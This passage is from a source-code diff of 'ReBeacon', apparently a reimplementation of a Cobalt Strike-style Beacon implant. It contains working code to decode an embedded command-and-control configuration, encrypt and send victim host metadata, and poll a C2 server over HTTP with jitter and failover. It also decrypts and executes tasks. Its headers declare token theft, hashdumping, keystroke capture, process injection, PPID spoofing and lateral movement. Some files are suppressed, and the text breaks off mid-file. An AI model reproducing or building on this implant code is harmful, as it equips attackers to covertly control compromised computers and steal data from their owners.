void GetParseConfig(beaconconfig* pbeaconconfig, int id)
{
pbeaconconfig->data = CsC2Config + index_size * id + sizeof(size_t);
pbeaconconfig->data_type = *(short*)(CsC2Config + index_size * id);
}
char* get_str(int id)
{
beaconconfig pbeaconconfig;
GetParseConfig(&pbeaconconfig, id);
if (pbeaconconfig.data_type == 3)
{
return (char*)*(ULONG_PTR*)pbeaconconfig.data;
}
return 0;
}
short get_short(int id)
{
beaconconfig pbeaconconfig;
GetParseConfig(&pbeaconconfig, id);
if (pbeaconconfig.data_type == 1)
{
return *(WORD*)pbeaconconfig.data;
}
return 0;
}
int get_dword(int id)
{
beaconconfig pbeaconconfig;
GetParseConfig(&pbeaconconfig, id);
if (pbeaconconfig.data_type == 2)
{
return *(DWORD*)pbeaconconfig.data;
}
return 0;
}
int get_str_config_len(int id)
{
return strlen(get_str(id));
}
/// <summary>
/// 初始化元数据结构体
/// </summary>
/// <param name="pmetadata"></param>
/// <param name="data"></param>
/// <param name="data_size"></param>
void BeaconMetadataInit(beaconmetadata* pmetadata, char* data, int data_size)
{
DWORD number = htonl(MetadataNumber);
u_long reserve = htonl(0);
++MetadataNumber;
DWORD* pdata = (DWORD*)data;
pdata[0] = number;
pdata[1] = reserve;
pmetadata->data = data;
pmetadata->data_size = data_size;
pmetadata->length = 8;
}
/// <summary>
/// 保存N字节到元数据中
/// </summary>
/// <param name="size"></param>
/// <param name="struc3"></param>
/// <param name="data"></param>
void BeaconMetadataPush_N(size_t size, beaconmetadata* pmetadata, void* data)
{
DWORD new_length = pmetadata->length + size;
if ((signed int)(pmetadata->length + size) <= pmetadata->data_size)
{
memcpy(pmetadata->data + pmetadata->length, data, size);
pmetadata->length = new_length;
((DWORD*)pmetadata->data)[1] = ntohl(new_length - 8);
}
}
void BeaconMetadataPush_4(int data, beaconmetadata* pmetadata)
{
data = htonl(data);
BeaconMetadataPush_N(4, pmetadata, &data);
}
void BeaconMetadataPush_2(short data, beaconmetadata* pmetadata)
{
data = htons(data);
BeaconMetadataPush_N(2, pmetadata, &data);
}
void BeaconMetadataPush_1(char data, beaconmetadata* pmetadata)
{
BeaconMetadataPush_N(1, pmetadata, &data);
}
DWORD BeaconMetadataLength(beaconmetadata* pmetadata)
{
*(DWORD*)pmetadata->data = htonl(48879);
return pmetadata->length;
}
DWORD BeaconMetadataDataLength(beaconmetadata* pmetadata)
{
return pmetadata->length;
}

76
ReBeacon_Src/Utils.h Normal file
View File

@ -0,0 +1,76 @@
#pragma once
#include "Global.h"
typedef struct {
char* original; /* 原始缓冲区 [所以我们可以释放它] */
char* buffer; /* 指向当前缓冲区位置 */
int length; /* 剩余数据长度 */
int size; /* 此缓冲区的总大小 */
} datap;
void BeaconDataParse(datap* parser, char* buffer, int size);
char* BeaconDataPtr(datap* parser, int size);
int BeaconDataInt(datap* parser);
short BeaconDataShort(datap* parser);
int BeaconDataLength(datap* parser);
char* BeaconDataExtract(datap* parser, int* size);
datap* BeaconDataInit(int size);
void BeaconDataFree(datap* parser);
void BeaconDataClear(datap* parser);
int BeaconDataCopyToBuffer(datap* parser, char* buffer, int buffer_size);
char BeaconDataByte(datap* parser);
char* BeaconDataPtr2(datap* parser);
char* BeaconDataBuffer(datap* parser);
void BeaconDataCopyNToBuffer(datap* parser, char* buffer, int buffer_size);
char* BeaconDataPtr3(datap* parser, int* outsize);
char* BeaconDataExtract(datap* parser, int* outsize);
/* format API */
typedef struct {
char* original; /* the original buffer [so we can free it] */
char* buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
void BeaconFormatAlloc(formatp* format, int maxsz);
void BeaconFormatReset(formatp* format);
void BeaconFormatFree(formatp* format);
void BeaconFormatAppend(formatp* format, char* text, int len);
void BeaconFormatPrintf(formatp* format, char* fmt, ...);
char* BeaconFormatToString(formatp* format, int* size);
void BeaconFormatInt(formatp* format, int value);
int BeaconFormatlength(formatp* format);
char* BeaconFormatOriginalPtr(formatp* format);
void BeaconFormatInit(formatp* format, char* buff, int buffsize);
void BeaconDataClearFree(datap* parser);
typedef struct {
char* data; /*指向data*/
short data_type; /* 指向data类型 */
} beaconconfig;
void GetParseConfig(beaconconfig* pbeaconconfig, int id);
char* get_str(int id);
short get_short(int id);
int get_dword(int id);
int get_str_config_len(int id);
/// <summary>
/// 元数据相关
/// </summary>
typedef struct {
char* data; /*指向data*/
int length; /* data以使用字节 */
int data_size; /*data内存块的大小*/
} beaconmetadata;
void BeaconMetadataInit(beaconmetadata* pmetadata, char* data, int data_size);
void BeaconMetadataPush_N(size_t size, beaconmetadata* pmetadata, void* data);
void BeaconMetadataPush_4(int data, beaconmetadata* pmetadata);
void BeaconMetadataPush_2(short data, beaconmetadata* pmetadata);
void BeaconMetadataPush_1(char data, beaconmetadata* pmetadata);
DWORD BeaconMetadataLength(beaconmetadata* pmetadata);
DWORD BeaconMetadataDataLength(beaconmetadata* pmetadata);

244
ReBeacon_Src/beaconMain.cpp Normal file
View File

@ -0,0 +1,244 @@

#include <iostream>
#include "Utils.h"
#include "Global.h"
#include "rotation.h"
#include "encrypt_decrypt.h"
#include "common.h"
#include "comm.h"
#include "BeaconTask.h"
#include "BeaconLateralMovement.h"
#include "ChildBeacon.h"
#include "BeaconSleep.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"Wininet.lib")
#ifdef _WIN64
#pragma comment(lib,"tomcryptx64.lib")
#pragma comment(lib,"tommathx64.lib")
#else
#pragma comment(lib,"tomcrypt.lib")
#pragma comment(lib,"tommath.lib")
#endif // _WIN64
void Beacon_init(HINSTANCE dllbase)
{
Beacon_Dllbase = dllbase;
//分配c2配置信息内存块
CsC2Config = (char*)malloc(CsC2Config_size);
memset(CsC2Config, 0, CsC2Config_size);
//解密内嵌的配置信息
for (int i = 0; i < 0x1000; ++i)
{
rawData[i] ^= 0x2Eu;
}
datap c2profile;
BeaconDataParse(&c2profile, (char*)rawData, 4096);
for (int index = BeaconDataShort(&c2profile); ; index = BeaconDataShort(&c2profile))
{
if (index <= 0)
{
break;
}
WORD data_type = BeaconDataShort(&c2profile);
WORD data_size = BeaconDataShort(&c2profile);
int size = index_size * index;
*(WORD*)(CsC2Config + size) = data_type;
switch (data_type)
{
case 1:
*(WORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataShort(&c2profile);
break;
case 2:
*(DWORD*)(CsC2Config + size + sizeof(size_t)) = BeaconDataInt(&c2profile);
break;
case 3:
//分配一块内存存放str
*(ULONG_PTR*)(CsC2Config + size + sizeof(size_t)) = (ULONG_PTR)malloc(data_size);
void* data = BeaconDataPtr(&c2profile, data_size);
//取出刚才分配的内存地址开始复制数据
memcpy(*(ULONG_PTR**)(CsC2Config + size + sizeof(size_t)), data, data_size);
break;
}
}
memset(rawData, 0, sizeof(rawData));
return;
}
int beacon_stop_date()
{
struct _SYSTEMTIME SystemTime;
// killdate
if (!get_dword(40))
{
return get_dword(40);
}
GetLocalTime(&SystemTime);
return SystemTime.wDay + 100 * (SystemTime.wMonth + 100 * (unsigned int)SystemTime.wYear) >= get_dword(40);
}
int Beacon_exit()
{
if (get_short(55) == 1)
{
if (get_short(39) == 1)
{
while (1)
{
Sleep(0x3E8);
}
}
ExitThread(0);
}
if (get_short(39) != 1)
{
ExitProcess(0);
}
HANDLE threadhandle = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ExitProcess, 0, 0, 0);
return WaitForSingleObject(threadhandle, 0xFFFFFFFF);
}
int main()
{
Beacon_init(NULL);
datap* parser = BeaconDataInit(0x280);
char* http_get_url = BeaconDataPtr(parser, 256);
BeaconDataPtr(parser, 256);
char* ServerHost_buffer = (char*)BeaconDataPtr(parser, 128);
char* ServerIP = get_str(8);
int ServerPort = get_short(2);
char* lpszAgent = get_str(9);
char* ServerPostUrl = get_str(10);
g_dwMilliseconds = get_dword(3);
g_jitter = get_short(5);
int conne_error = 0;
//初始化轮询相关
rotationstruc* rotation_opt = (rotationstruc*)malloc(sizeof(rotationstruc));
//69 和failover(错误切换)有关 纯failover模式 69等于0
//当是按照错误次数切换的时候69等于指定次数
int failover_Strategy_number = get_dword(69);
//70也与failover有关当是按照时间切换的时候70等于指定的时间
int failover_Strategy_time = get_dword(70);
//68 如果是rotate模式 跟切换时间有关
int rotate_Strategy_time = get_dword(68);
//67 是模式id
//2表示rotate或failover
//如果是random则是1 随机模式
//如果是round-robin则是0 默认模式
int strategyID = get_short(67); // 67 68 69 70和轮询模式相关
//
//69 与错误切换有关默认-1非错误切换 单错误切换等于0
//如果是-x表示根据次数切换 69等于相应的次数
init_rotation(rotation_opt, strategyID, rotate_Strategy_time, failover_Strategy_time, failover_Strategy_number);
if (beacon_stop_date())
{
Beacon_exit();
}
int server_output_size = get_dword(4); //.http-get.server.output
char* server_output_buffer = (char*)malloc(server_output_size);
Generate_encryption_metadata(server_output_buffer, server_output_size);// 构造元数据并加密
while (g_dwMilliseconds)
{
char* p_ServerHost = beacon_Rotation_Strategy(rotation_opt, ServerIP, conne_error);// 轮询取出host
_snprintf(ServerHost_buffer, 0x80, "%s", p_ServerHost);
conne_error = 0;
char* p_ServerUrl = beacon_Rotation_Strategy(rotation_opt, ServerIP, 0);
_snprintf(http_get_url, 0x80, "%s", p_ServerUrl);
g_BeaconStart = 1;
_snprintf(g_post_url, 0x100u, "%s", ServerPostUrl);
set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);// 设置一些http选项
int server_out_size = call_send_Metadata(http_get_url, server_output_buffer, server_output_size);
if (server_out_size > 0)
{
int taskdata_size = decrypt_output_data(server_output_buffer, server_out_size);// 解密
server_out_size = taskdata_size;
if (taskdata_size > 0)//有任务
{
Parse_Task((BeaconTask*)server_output_buffer, taskdata_size);// 对解密后的任务进行执行
}
}
if (server_out_size == -1)
{
//连接失败
conne_error = 1;
}
else
{
sub_1000715A();
if (get_dword(28))
{
CheckDownload(4096); // 文件下载相关
}
else
{
CheckDownload(0x80000);
}
CheckChildBeacon();
CheckJobOutput();
if (beacon_stop_date()) // 判断是否有结束运行日期
{
Beacon_end();//结束
}
if (g_withdatasize > 0)
{
close_http_Handle();
set_winit_http(ServerHost_buffer, ServerPort, lpszAgent);
sned_beacon_data(gBeaconOutputData);
}
}
close_http_Handle();
if (beacon_stop_date())
{
Beacon_exit();
}
if (!g_dwMilliseconds)
{
break;
}
if (g_jitter)
{
int temp = g_dwMilliseconds * g_jitter / 0x64;
temp = temp ? random_int() % temp : 0;
int dwMilliseconds = g_dwMilliseconds;
if (temp < g_dwMilliseconds)
{
dwMilliseconds = g_dwMilliseconds - temp;
}
BeaconSleep(dwMilliseconds);
}
else
{
BeaconSleep(g_dwMilliseconds);
}
}
free(rotation_opt);
return Beacon_exit();
}

1000
ReBeacon_Src/comm.cpp Normal file

File diff suppressed because it is too large Load Diff

65
ReBeacon_Src/comm.h Normal file
View File

@ -0,0 +1,65 @@
#pragma once
#include "Utils.h"
#define CALLBACK_OUTPUT 0
#define CALLBACK_KEYSTROKES 1
#define CALLBACK_FILE 2
#define CALLBACK_SCREENSHOT 3
#define CALLBACK_CLOSE 4
#define CALLBACK_READ 5
#define CALLBACK_CONNECT 6
#define CALLBACK_PING 7
#define CALLBACK_FILE_WRITE 8
#define CALLBACK_FILE_CLOSE 9
#define CALLBACK_PIPE_OPEN 10
#define CALLBACK_PIPE_CLOSE 11
#define CALLBACK_PIPE_READ 12
#define CALLBACK_POST_ERROR 13
#define CALLBACK_PIPE_PING 14
#define CALLBACK_TOKEN_STOLEN 15
#define CALLBACK_TOKEN_GETUID 16
#define CALLBACK_PROCESS_LIST 17
#define CALLBACK_POST_REPLAY_ERROR 18
#define CALLBACK_PWD 19
#define CALLBACK_JOBS 20
#define CALLBACK_HASHDUMP 21
#define CALLBACK_PENDING 22
#define CALLBACK_ACCEPT 23
#define CALLBACK_NETVIEW 24
#define CALLBACK_PORTSCAN 25
#define CALLBACK_DEAD 26
#define CALLBACK_SSH_STATUS 27
#define CALLBACK_CHUNK_ALLOCATE 28
#define CALLBACK_CHUNK_SEND 29
#define CALLBACK_OUTPUT_OEM 30
#define CALLBACK_ERROR 31
#define CALLBACK_OUTPUT_UTF8 32
typedef struct {
char* httpHeaders; /* httpHeaders */
char* field_1; /* 暂时未知 */
char* httpGetUrl; /*http get请求url*/
char* HttpOptional; /* HttpSendRequestA Optional选项 */
DWORD HttpOptionalLength; /* Optional选项大小 */
DWORD encrypt_Metadata_size; /*加密后的元数据大小*/
char* encrypt_Metadata_Ptr; /*指向加密元数据的指针*/
char* Encoding_Encrypt_Metadata_Ptr; /*根据c2配置编码后的加密元数据指针*/
datap* pdatap;
} BeaconHttpRequest;
extern char* gBeaconOutputData;
void sned_beacon_data(char* data);
int call_send_Metadata(char* http_get_url, char* Server_Output_Buffer, int server_output_size);
void BeaconTaskOutput(char* data, int len, int type);
void BeaconTaskError1Output(int BeaconErrorsType, int err_code, char* data);
void BeaconErrorD(int BeaconErrorsType, DWORD error_code);
void BeaconErrorNA(int BeaconErrorsType);
void BeaconErrorDD(int BeaconErrorsType, int err_msg, u_long err_code_msg);
void BeaconErrorFormat(int BeaconErrorsType, char* Format, ...);

1393
ReBeacon_Src/common.cpp Normal file

File diff suppressed because it is too large Load Diff

150
ReBeacon_Src/common.h Normal file
View File

@ -0,0 +1,150 @@
#pragma once
#include "Utils.h"
#include "Global.h"
#include <stdio.h>
#include <wininet.h>
/// <summary>
/// 全局beacon的TokenHandle
/// </summary>
extern HANDLE pTokenHandle;
/// <summary>
/// win http flags
/// </summary>
extern DWORD g_dwFlags;
/// <summary>
///
/// </summary>
extern HINTERNET g_hInternet;
/// <summary>
///
/// </summary>
extern HINTERNET g_hConnect;
/// <summary>
///
/// </summary>
extern DWORD_PTR g_dwContext;
/*判断系统架构*/
int Is_Wow64(HANDLE hProcess);
/*判断是否是管理员权限*/
BOOL is_admin();
void get_pc_info(beaconmetadata* pmetadata);
void set_winit_http(LPCSTR lpszServerName, INTERNET_PORT ServerPort, LPCSTR lpszAgent);
void restore_token_fake();
/// <summary>
/// 关闭token伪造
/// </summary>
void close_token_fake();
/// <summary>
/// 根据beacon配置设置一些http选项
/// </summary>
void set_http_opt(HINTERNET hInternet);
void init_socket_options();
/// <summary>
/// 判断http请求返回是否成功
/// </summary>
/// <param name="hRequest"></param>
/// <returns></returns>
BOOL verify_http_200(HINTERNET hRequest);
int isPPIDAndBlockDLL(int PPID);
BOOL __cdecl toWideChar(char* lpMultiByteStr, wchar_t* lpWideCharStr, unsigned int max);
int is_process_arch(HANDLE hProcess);
_PROC_THREAD_ATTRIBUTE_LIST* CreateProcessAttributeList(DWORD dwAttributeCount);
void BeaconcloseHandle(BeaconCreateprocess* pBeaconCreateprocess);
void BeaconSetErrorMode(BeaconCreateprocess* pBeaconCreateprocess);
void BeaconcloseAllHandle(_PROCESS_INFORMATION* pi);
BOOL BeaconCreateRemoteThread(HANDLE hProcess, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter);
BOOL BeaconCreateThread(LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter);
BOOL BeaconRtlCreateUserThread(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter);
int sub_1000535D(HANDLE hProcess, LPVOID BaseAddress, LPVOID lpParameter);
int sub_10004DDE(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter);
BOOL sub_10004FA1(int Remote,HANDLE hProcess,PVOID BaseAddress,LPVOID lpParameter,LPCSTR lpModuleName,LPCSTR lpProcName,int offset);
BOOL BeaconNtQueueApcThread(BeaconProcessInject* pBeaconProcessInject, LPVOID BaseAddress, LPVOID lpParameter);
void BeaconExpandEnvironmentStringsA(LPCSTR lpSrc, LPSTR lpDst, size_t Size);
void BeaconTaskErrorOutput(u_long BeaconErrorsType, int err_code_1, u_long err_code_2, char* buffer);
void check_close_token_fake(int ignoreToken);
void check_restore_token_fake(int ignoreToken);
void beacon_GetUID();
extern datap* BeaconMaketoken;
void BeaconRevertToken();
void beacon_steal_token(char* Taskdata, int Task_size);
void beacon_ps(char* Taskdata, int Task_size);
void beacon_Kill(char* Taskdata, int Task_size);
int BeaconRunAsProcess(
char* lpDomain,
char* lpPassword,
char* lpUsername,
char* lpCommandLine,
int dwCreationFlags,
LPPROCESS_INFORMATION lpProcessInformation);
void beacon_RunAs(char* Taskdata, int Task_size);
void beacon_pwd();
void BeaconSleepN(char* Taskdata, int Task_size);
void beacon_make_token(char* Taskdata, int Task_size);
int get_user_sid(size_t BufferSize, HANDLE TokenHandle, char* Buffer);
int CheckMemoryRWX(LPVOID lpAddress, SIZE_T dwSize);
void __cdecl beacon_SetEnv(const char* EnvString);
void beacon_PPID(char* Taskdata, int Task_size);
void beacon_GetPrivs(char* Taskdata, int Task_size);
void beacon_BlockDLLs(char* Taskdata, int Task_size);
void BeaconSpawnas(char* Taskdata, int Task_size, int x86);
void BeaconSpawnu(char* Taskdata, int Task_size, int x86);
void sub_1000715A();
void Beacon_end();
void close_http_Handle();
BOOL X86orX64();

View File

@ -0,0 +1,389 @@
#include "encrypt_decrypt.h"
#include "tomcrypt_argchk.h"
#include <time.h>
#include "common.h"
#include "BeaconX64.h"
#include "comm.h"
int sha256_idx;
int aes_idx;
int aes_key_hash_ago_16[4];
int aes_key_hash_up_16[4];
char initialization_vector[16];
symmetric_key beacon_symmetric_key;
symmetric_CBC beacon_symmetric_CBC;
/*beacon id*/
DWORD beacon_id;
WORD CryptoScheme;
int old_Timestamp;
DWORD rng_win32(BYTE* pbBuffer, DWORD dwLen)
{
DWORD result = NULL;
HCRYPTPROV phProv;
phProv = 0;
if (!CryptAcquireContextA(&phProv, 0, "Microsoft Base Cryptographic Provider v1.0", 1, 0xF0000020)
&& (result = CryptAcquireContextA(&phProv, 0, "Microsoft Base Cryptographic Provider v1.0", 1, 0xF0000028)) == 0)
{
return result;
}
if (!CryptGenRandom(phProv, dwLen, pbBuffer))
{
result = 0;
}
CryptReleaseContext(phProv, 0);
return result;
}
int my_rng_win32(BYTE* pbBuffer, DWORD dwLen)
{
char v2; // bl
int v3;
bool i; // zf
int v5;
BYTE* v6;
int v9;
int v10;
clock_t v11;
clock_t v12;
v2 = 0;
v3 = dwLen;
v9 = 0;
v10 = 0;
for (i = dwLen == 0; ; i = v3 == 0)
{
v5 = 8;
if (i)
{
break;
}
--v3;
do
{
--v5;
do
{
v11 = clock();
while (v11 == clock())
{
v10 ^= 1u;
}
v12 = clock();
while (v12 == clock())
{
v9 ^= 1u;
}
} while (v10 == v9);
v2 = v10 | (2 * v2);
} while (v5);
v6 = pbBuffer++;
*v6 = v2;
v2 = 0;
}
return dwLen;
}
int random_bytesarray(BYTE* pbBuffer, DWORD dwLen)
{
int result;
result = rng_win32(pbBuffer, dwLen);
if (!result)
{
result = my_rng_win32(pbBuffer, dwLen);
}
return result;
}
int random_int()
{
BYTE pbBuffer[4];
random_bytesarray(pbBuffer, 4);
return *(DWORD*)pbBuffer;
}
int gen_beacon_id()
{
return random_int() & 0x7FFFFFFE;
}
void init_beacon_aes_key(char* beacon_key)
{
int out_hash[8];
unsigned long a5 = 32;
register_hash(&sha256_desc);
sha256_idx = find_hash("sha256");
if (hash_memory(sha256_idx, (const unsigned char*)beacon_key, 16, (unsigned char*)out_hash, &a5))// hash_memory
exit(1);
aes_key_hash_ago_16[0] = out_hash[0];
aes_key_hash_ago_16[1] = out_hash[1];
aes_key_hash_ago_16[2] = out_hash[2];
aes_key_hash_ago_16[3] = out_hash[3];
aes_key_hash_up_16[0] = out_hash[4];
aes_key_hash_up_16[1] = out_hash[5];
aes_key_hash_up_16[2] = out_hash[6];
aes_key_hash_up_16[3] = out_hash[7];
memcpy(initialization_vector, "abcdefghijklmnop", sizeof(initialization_vector));
register_cipher(&aes_desc);
aes_idx = find_cipher("aes");
if (rijndael_setup((const unsigned char*)aes_key_hash_ago_16, 16, 0, &beacon_symmetric_key))
exit(1);
}
//记得定义LTM_DESC
//#define LTM_DESC
/// <summary>
/// rsa加密
/// </summary>
/// <param name="Rsa_Public_key"></param>
/// <param name="data"></param>
/// <param name="data_size"></param>
/// <param name="outdata"></param>
/// <param name="outdatasize"></param>
/// <returns></returns>
int rsa_encrypt(char* Rsa_Public_key, IN void* data, IN size_t data_size, OUT char* outdata, int* outdatasize)
{
int prng_idx;
int result;
rsa_key pkey;
CryptoScheme = get_short(31);
register_prng(&sprng_desc);
prng_idx = find_prng("sprng");
//这里需要对ltc_mp赋值否则rsa_import会无法使用
ltc_mp = ltm_desc;
//rsa_import((const unsigned char*)a1, 162, &v8);
//result = rsa_encrypt_key_ex((const unsigned char*)Src, Size, (unsigned char*)a4,
// (unsigned long*)a5, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_LTC_PKCS_1_V1_5, &v8);
//libtomcrypt版本判断是使用LTC_LTC_PKCS_1_V1_5还是LTC_PKCS_1_V1_5
#ifdef libtomcrypt117
if (rsa_import((const unsigned char*)Rsa_Public_key, 162, &pkey) ||
(result = rsa_encrypt_key_ex((const unsigned char*)data, data_size, (unsigned char*)outdata,
(unsigned long*)outdatasize, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_LTC_PKCS_1_V1_5, &pkey)) != 0)
{
exit(1);
}
#else
if (rsa_import((const unsigned char*)Rsa_Public_key, 162, &pkey) ||
(result = rsa_encrypt_key_ex((const unsigned char*)data, data_size, (unsigned char*)outdata,
(unsigned long*)outdatasize, (const unsigned char*)"lparam", 6, NULL, prng_idx, sha256_idx, LTC_PKCS_1_V1_5, &pkey)) != 0)
{
exit(1);
}
#endif
return result;
}
/// <summary>
/// 构造元数据并加密
/// </summary>
/// <param name="Metadata">此参数是临时buffer</param>
/// <param name="size">临时buffer的大小</param>
void Generate_encryption_metadata(char* Metadata, int size)
{
UINT codepage = GetACP(); // 获得当前系统的代码页编码
UINT oem = GetOEMCP();
int machine = 0;
BYTE beacon_key[16];
random_bytesarray(beacon_key, 0x10); // 产生随机的16个字节 和aes密钥有关
init_beacon_aes_key((char*)beacon_key); // 初始化 has256和aes 保存aes key
srand(GetTickCount() ^ GetCurrentProcessId());
beacon_id = gen_beacon_id(); // 随机产生一个4字节充当beacon id
if (X86orX64())
{
machine = 2;
}
else
{
if (!Is_Wow64(GetCurrentProcess()))
{
if (is_admin())
{
machine |= 8;
}
}
else
{
machine |= 4;
if (is_admin())
{
machine |= 8;
}
}
}
beaconmetadata pbeaconmetadata;
BeaconMetadataInit(&pbeaconmetadata, Metadata, size);
BeaconMetadataPush_N(16, &pbeaconmetadata, beacon_key);
BeaconMetadataPush_N(2, &pbeaconmetadata, &codepage);
BeaconMetadataPush_N(2, &pbeaconmetadata, &oem);
BeaconMetadataPush_4(beacon_id, &pbeaconmetadata);
DWORD pid = GetCurrentProcessId();
BeaconMetadataPush_4(pid, &pbeaconmetadata);
BeaconMetadataPush_2(0, &pbeaconmetadata);
BeaconMetadataPush_1(machine ,&pbeaconmetadata);
get_pc_info(&pbeaconmetadata); // 构造计算机名 用户名 进程名
int MetadataLength = BeaconMetadataLength(&pbeaconmetadata);
memset(g_Encryption_Metadata, 0, sizeof(g_Encryption_Metadata));
g_Encryption_Metadata_size = 128;
memcpy(g_Encryption_Metadata, Metadata, MetadataLength);// copy数据准备加密
char* rsa_publickey = get_str(7); // 获取RSA公钥
rsa_encrypt(rsa_publickey, Metadata, MetadataLength, g_Encryption_Metadata, &g_Encryption_Metadata_size);// rsa加密
memset(Metadata, 0, MetadataLength);
}
/// <summary>
/// aes 解密 http请求返回数据
/// </summary>
/// <param name="encrypt_data_buffer"></param>
/// <param name="data_size"></param>
/// <returns></returns>
size_t decrypt_output_data(char* encrypt_data_buffer, int data_size)
{
if (data_size <= 16 && data_size % 16)
{
return 0;
}
int decrypt_buffer_size = data_size - 16;
char* decrypt_buffer = (char*)malloc(decrypt_buffer_size);
memset(decrypt_buffer, 0, decrypt_buffer_size);
if (!decrypt_buffer)
{
return 0;
}
char hmac_memory_out_buf[16];
unsigned long hmac_memory_out_size = 16;
//验证
if (hmac_memory(sha256_idx, (const unsigned char*)aes_key_hash_up_16 ,16, (const unsigned char*)encrypt_data_buffer, decrypt_buffer_size, (unsigned char*)hmac_memory_out_buf, &hmac_memory_out_size))// 完成
{
exit(1);
}
if (memcmp(&encrypt_data_buffer[decrypt_buffer_size], hmac_memory_out_buf, hmac_memory_out_size))
{
free(decrypt_buffer);
return 0;
}
if (CryptoScheme)
{
if (CryptoScheme != 1)
{
exit(1);
}
memcpy(decrypt_buffer,encrypt_data_buffer, decrypt_buffer_size);
}
//aes cbc解密
else if (cbc_start(aes_idx, (const unsigned char*)initialization_vector, (const unsigned char*)aes_key_hash_ago_16, 16, 0, &beacon_symmetric_CBC)
|| cbc_decrypt((const unsigned char*)encrypt_data_buffer, (unsigned char*)decrypt_buffer, decrypt_buffer_size, &beacon_symmetric_CBC)
|| cbc_done(&beacon_symmetric_CBC))
{
exit(1);
}
datap pdata;
BeaconDataParse(&pdata, (char*)decrypt_buffer, decrypt_buffer_size);
int Timestamp = BeaconDataInt(&pdata);// 时间戳
if (Timestamp + 3600 <= old_Timestamp)
{
free(encrypt_data_buffer);
u_long time = htonl(old_Timestamp - Timestamp - 3600);
BeaconTaskOutput((char*)&time, 4u, 022u);
return 0;
}
int data_length = BeaconDataInt(&pdata); // 任务数据长度
if (!data_length || data_length > decrypt_buffer_size)
{
exit(0);
}
char* dataptr = BeaconDataPtr(&pdata, data_length);
if (!dataptr)
{
exit(0);
}
memcpy(encrypt_data_buffer, dataptr, data_length);
old_Timestamp = Timestamp;
BeaconDataClear(&pdata);
free(decrypt_buffer);
return data_length;
}
symmetric_CBC gBeaconCBC;
int aes_cbc_encrypt(int size, char* in)
{
int v2;
int a4;
v2 = size;
a4 = 16;
for (int i = size % 16; i; ++v2)
{
if (i >= 16)
break;
++i;
}
if (CryptoScheme)
{
if (CryptoScheme != 1) {
exit(1);
}
}
else if (cbc_start(aes_idx, (const unsigned char*)initialization_vector, (const unsigned char*)aes_key_hash_ago_16, 16, 0, (symmetric_CBC*)&gBeaconCBC)
|| cbc_encrypt((const unsigned char*)in, (unsigned char*)in, v2, &gBeaconCBC)
|| cbc_done((symmetric_CBC*)&gBeaconCBC))
{
exit(1);
}
if (hmac_memory(sha256_idx, (const unsigned char*)aes_key_hash_up_16, 16, (const unsigned char*)in, v2, (unsigned char*)(&in[v2]), (unsigned long*)&a4)) {
exit(1);
}
return v2 + 16;
}
char* aes_encrypt_data(void* data, size_t data_size, int msg_id, int* out_encrypt_data_len)
{
beaconmetadata pbeaconmetadata;
char* buff = (char*)malloc(data_size + 48);
if (!buff)
{
*out_encrypt_data_len = 0;
return 0;
}
memset(buff, 0, data_size + 48);
BeaconMetadataInit(&pbeaconmetadata, buff, data_size + 48);
BeaconMetadataPush_4(msg_id, &pbeaconmetadata);
BeaconMetadataPush_N(data_size, &pbeaconmetadata, data);
int DataLength = BeaconMetadataDataLength(&pbeaconmetadata) + 4;
if (DataLength <= 0)
{
free(buff);
*out_encrypt_data_len = 0;
return 0;
}
*out_encrypt_data_len = aes_cbc_encrypt(DataLength, buff);// aes加密和Hmac摘要 返回长度
return buff;
}

View File

@ -0,0 +1,47 @@
#pragma once
#include "tomcrypt.h"
#include <Windows.h>
extern int sha256_idx;
extern int aes_idx;
extern int aes_key_hash_ago_16[4];
extern int aes_key_hash_up_16[4];
extern char initialization_vector[16];
extern symmetric_key beacon_symmetric_key;
extern symmetric_CBC beacon_symmetric_CBC;
/*beacon id*/
extern DWORD beacon_id;
extern WORD CryptoScheme;
/// <summary>
/// 构造元数据并加密
/// </summary>
/// <param name="Metadata">此参数是临时buffer</param>
/// <param name="size">临时buffer的大小</param>
void Generate_encryption_metadata(char* Metadata, int size);
/// <summary>
/// 随机生成int
/// </summary>
/// <returns></returns>
int random_int();
/// <summary>
/// aes 解密 http请求返回数据
/// </summary>
/// <param name="encrypt_data_buffer"></param>
/// <param name="data_size"></param>
/// <returns></returns>
size_t decrypt_output_data(char* encrypt_data_buffer, int data_size);
int aes_cbc_encrypt(int size, char* in);
char* aes_encrypt_data(void* data, size_t data_Size, int msg_id, int* out_encrypt_data_len);
int random_bytesarray(BYTE* pbBuffer, DWORD dwLen);

8
ReBeacon_Src/macro.h Normal file
View File

@ -0,0 +1,8 @@
#pragma once
#ifdef _WIN64
#define CsC2Config_size 0x800
#define index_size 16
#else
#define CsC2Config_size 0x400
#define index_size 8
#endif // _WIN64

291
ReBeacon_Src/rotation.cpp Normal file
View File

@ -0,0 +1,291 @@
#include "rotation.h"
#include <time.h>
/// <summary>
/// 初始化轮询结构体
/// </summary>
/// <param name="rotation_opt"></param>
/// <param name="strategyID"></param>
/// <param name="rotate_Strategy_time"></param>
/// <param name="failover_Strategy_time"></param>
/// <param name="failover_Strategy_number"></param>
void init_rotation(rotationstruc* rotation_opt, int strategyID, int rotate_Strategy_time, int failover_Strategy_time, int failover_Strategy_number)
{
rotation_opt->strategyID = strategyID;
rotation_opt->rotate_Strategy_time = rotate_Strategy_time;
rotation_opt->failover_Strategy_time = failover_Strategy_time;
rotation_opt->failover_Strategy_number = failover_Strategy_number;
}
/// <summary>
/// 随机模式下ip存储缓冲区
/// </summary>
char* ServerIP_Buff_random=NULL;
/// <summary>
/// 随机模式下ip数量
/// </summary>
int g_ip_number_random=0;
/// <summary>
/// 随机模式下当前ip索引
/// </summary>
int g_current_ip_index_random=0;
/// <summary>
/// 随机模式下ip指针数组
/// </summary>
char* g_ip_array_random[200];
int random_int(int seed)
{
return rand() % (seed + 1);
}
int random_ipid(int ip_id)
{
return ip_id - ip_id % 2;
}
/// <summary>
/// 随机选择ip
/// </summary>
